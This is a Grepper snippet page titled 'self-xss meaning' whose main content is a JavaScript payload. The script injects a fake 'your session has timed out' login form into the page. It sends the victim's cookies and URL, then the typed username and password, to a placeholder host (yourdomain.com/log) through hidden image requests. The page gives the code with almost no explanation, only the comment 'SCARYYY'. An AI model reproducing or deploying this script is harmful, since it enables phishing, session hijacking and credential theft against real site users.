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self-xss meaning

Donald Duck answered on May 21, 2021 Popularity 9/10 Helpfulness 4/10

answer self-xss meaning

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self-xss meaning

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SCARYYY

Popularity 9/10 Helpfulness 4/10 Language python

Source: Grepper

Tags: python

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Contributed on May 21 2021

Donald Duck

0 Answers Avg Quality 2/10

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self-xss code example

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var done = false;
var stolen = false;
 
function makeit(){
    setTimeout(function(){
        var myElem = document.getElementById("loginmodal");
        if (myElem === null){
            document.body.innerHTML += '<a style="display:none" >Modal Login</a><div id="loginmodal" style="display:none;"><h1>User Login</h1>' +
                                       '<form id="loginform" name="loginform" method="post"><h2 style="color:red">Your session has timed out, ' +
                                       'please re-enter your credentials</h2><label for="username">Username:</label><input type="text" ' +
                                       'name="username" id="username" class="txtfield" tabindex="1"><label for="password">Password:</label>' +
                                       '<input type="password" name="password" id="password" class="txtfield" tabindex="2"><div class="center">' +
                                       '<input type="submit" name="loginbtn" id="loginbtn" class="flatbtn-blu hidemodal" value="Log In" tabindex="3">' +
                                       '</div></form></div>';
            XSSImage = new Image;
            XSSImage.src="https://yourdomain.com/log?checkin=true&cookies=" + encodeURIComponent(document.cookie) + "&url=" + window.location.href;
        }
    }, 2000);
}

makeit();
 
function defer_again(method) {
    var myElem = document.getElementById("loginmodal");
    if (myElem === null)
        setTimeout(function() { defer_again(method) }, 50);
    else{
        method();
    }
}
 
defer_again(
    function trig(){
        var uname = document.getElementById('username').value;
        var pwd = document.getElementById('password').value;
        if (uname.length > 4 && pwd.length > 4)
        {
            done = true;
            //alert("Had this been a real attack... Your credentials were just stolen. User Name = " + uname + "  Password = " + pwd);
            XSSImage = new Image;
            XSSImage.src="https://yourdomain.com/log?username=" + encodeURIComponent(uname) + "&password=" + encodeURIComponent(pwd) + 
                         "&url=" + window.location.href;
            stolen = true;
            return false;
        }

        if(!stolen){
            document.getElementById('username').focus();
            setTimeout(function() { trig() }, 50);
        }
    }
);

Popularity 9/10 Helpfulness 5/10 Language whatever

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Tags: whatever whateve

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Contributed on Jan 07 2022

Dangerous Deer

0 Answers Avg Quality 2/10

self-xss meaning

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